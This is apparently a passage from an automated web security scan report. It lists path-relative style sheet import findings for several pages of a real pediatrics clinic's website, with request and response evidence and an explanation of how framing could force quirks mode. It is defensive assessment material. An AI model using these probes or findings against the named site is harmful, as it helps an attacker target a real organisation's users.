 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:17:27 GMT
 Connection: close

 Content-Length: 13398
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 3

GET /bill-payment.php/g3icrp/styles-cp.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=fa125pmshk5vqko6i81pp3rgk5
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:17:27 GMT
 Connection: close

 Content-Length: 13398
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...

8.5. http://www.yourwebsite.com/breastfeeding.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /breastfeeding.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /breastfeeding.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=rv9qqddtap421sa6krsk4k8uj7
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/medical-services.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:09:54 GMT
 Connection: close

 Content-Length: 16083
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 2

GET /breastfeeding.php/ln3zn3/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=rv9qqddtap421sa6krsk4k8uj7
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/medical-services.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:11:02 GMT
 Connection: close

 Content-Length: 16083
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 3

GET /breastfeeding.php/ln3zn3/styles-cp.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=rv9qqddtap421sa6krsk4k8uj7
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/medical-services.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:11:06 GMT
 Connection: close

 Content-Length: 16083
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...

8.6. http://www.yourwebsite.com/cherri-esezobor.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /cherri-esezobor.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /cherri-esezobor.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=ft68iqelimvg4jdi7hebpnmns0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:09:17 GMT
 Connection: close

 Content-Length: 13513
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 2

GET /cherri-esezobor.php/zcct8p/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=ft68iqelimvg4jdi7hebpnmns0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:09:59 GMT
 Connection: close

 Content-Length: 13513
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 3

GET /cherri-esezobor.php/zcct8p/styles-cp.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=ft68iqelimvg4jdi7hebpnmns0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:09:59 GMT
 Connection: close

 Content-Length: 13513
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...

8.7. http://www.yourwebsite.com/childhood-obesity.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /childhood-obesity.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /childhood-obesity.php?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=ntrg4nbrsjo4rs042827ngj0p6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/childhood-obesity.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:19:45 GMT
 Connection: close

 Content-Length: 10555
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 2

GET /childhood-obesity.php/cvmxm8/?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=ntrg4nbrsjo4rs042827ngj0p6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/childhood-obesity.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:23:48 GMT
 Connection: close

 Content-Length: 10555
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 3

GET /childhood-obesity.php/cvmxm8/styles-mobile.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=ntrg4nbrsjo4rs042827ngj0p6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/childhood-obesity.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:23:51 GMT
 Connection: close

 Content-Length: 10555
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

8.8. http://www.yourwebsite.com/contact-us.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /contact-us.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /contact-us.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=plditcftn9ubhoubvgc172ujs7
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/coronavirus-covid-19.php?ismobile=mobile

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:44:04 GMT
 Connection: close

 Content-Length: 14674
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 2

GET /contact-us.php/bujrjb/ HTTP/1.1
 Host: www.cumberlandpediatrics.com
 Cookie: PHPSESSID=plditcftn9ubhoubvgc172ujs7

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Upgrade-Insecure-Requests: 1

 Referer: http://www.yourwebsite.com/coronavirus-covid-19.php?ismobile=mobile
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 Accept-Encoding: gzip, deflate
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36

 Connection: close
 Cache-Control: max-age=0

 Content-Length: 0
 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:45:57 GMT
 Connection: close

 Content-Length: 14674
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 3

GET /contact-us.php/bujrjb/styles-mobile.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=plditcftn9ubhoubvgc172ujs7
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/coronavirus-covid-19.php?ismobile=mobile

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:46:00 GMT
 Connection: close

 Content-Length: 14674
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

8.9. http://www.yourwebsite.com/coronavirus-covid-19.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /coronavirus-covid-19.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /coronavirus-covid-19.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=8j4102s0v4dptlielpallvnvo3
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/?ismobile=mobile

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:51:30 GMT
 Connection: close

 Content-Length: 20603
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 2

GET /coronavirus-covid-19.php/jv5t9b/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=8j4102s0v4dptlielpallvnvo3
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/?ismobile=mobile

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:01:17 GMT
 Connection: close

 Content-Length: 20603
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 3

GET /coronavirus-covid-19.php/jv5t9b/styles-mobile.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=8j4102s0v4dptlielpallvnvo3
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/?ismobile=mobile

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:01:17 GMT
 Connection: close

 Content-Length: 20603
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

8.10. http://www.yourwebsite.com/dr-alice-wilson.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /dr-alice-wilson.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

